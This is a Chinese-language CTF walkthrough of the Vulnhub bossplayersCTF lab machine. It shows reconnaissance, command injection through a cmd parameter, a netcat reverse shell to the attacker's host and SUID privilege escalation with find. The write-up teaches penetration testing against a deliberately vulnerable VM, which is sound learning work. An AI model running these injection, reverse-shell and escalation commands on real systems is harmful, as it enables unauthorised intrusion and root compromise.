Vulnhub靶机BBossplayersCTF渗透测试详解
- Vulnhub靶机介绍：
- Vulnhub靶机下载：
- Vulnhub靶机安装：
- Vulnhub靶机漏洞详解：
- ①：信息收集：
- ②：命令执行漏洞：
- ③：反弹shell：
- ④：suid提权：
- ⑤：获取flag：
- Vulnhub靶机渗透总结：
Vulnhub靶机介绍：
vulnhub是个提供各种漏洞平台的综合靶场，可供下载多种虚拟机进行下载，本地VM打开即可，像做游戏一样去完成渗透测试、提权、漏洞利用、代码审计等等有趣的实战。
这是新手CTF得靶机还是老样子找到flag.txt即可。
Vulnhub靶机下载：
官网地址：https://www.vulnhub.com/entry/bossplayersctf-1,375/
Vulnhub靶机安装：
下载好了把安装包解压 然后使用Oracle VM即可。
Vulnhub靶机漏洞详解：
①：信息收集：
kali里使用netdiscover发现主机
渗透机：kali IP ：192.168.0.101 靶机IP ：192.168.0.100
使用命令：
nmap -sS -sV -A -n 192.168.0.100
发现开启了80端口和22端口，先访问一下80端口 dirb扫一下后台发现index.txt，robots.txt，server-status 依次进行访问。
先访问一下robots.txt 发现了一串base64加密数值 放kali解密一下 它让我们在努力点兄弟，哈哈哈哈。
我们再看看logs.php 看源码会比较完整一点，发现并没有什么可用信息继续访问server-status 也没有可用信息。
在看看index.html 查看一下源码 在最下面发现一串base64 继续解码解了三次发现一个php文件：workinginprogress.php
②：命令执行漏洞：
访问这个文件好像可以命令执行 可以使用工具wfuzz检测 我这里直接手动了
http://192.168.0.100/workinginprogress.php?cmd=id
③：反弹shell：
先看看靶机里面有没有nc 可以利用漏洞使用命令：http://192.168.0.100/workinginprogress.php?cmd=ls /usr/bin|grep nc
接着开启本机kali 开启监听端口6666 执行：192.168.0.100/workinginprogress.php?cmd=nc 192.168.0.101 6666 -e/bin/bash
使用python开启交互：python -c "import pty;pty.spawn('/bin/bash')"
④：suid提权：
使用命令：find / -perm -u=s -type f 2>/dev/null 查找具有suid权限的文件，通过find提权，获得权限。
使用命令：find . -exec /bin/bash -p \;
⑤：获取flag：
至此得到了congratulations祝贺自己，渗透测试结束。
Vulnhub靶机渗透总结：
这个靶场比较适合新手 比较基础容易上手 总结一下知识点:
①：netdiscover 工具得使用
②：nmap的基础使用 （具体可以学一下脚本的使用）
③：dirb （web目录扫描工具）
④：wfuzz 工具得使用
⑤：suid提权 （Linux提权大家可以学习一下）
第一次凌晨熬夜创作，希望对刚学网安的小白有所帮助 （最后一天假期肝一下，明天返校了）感谢支持！！**
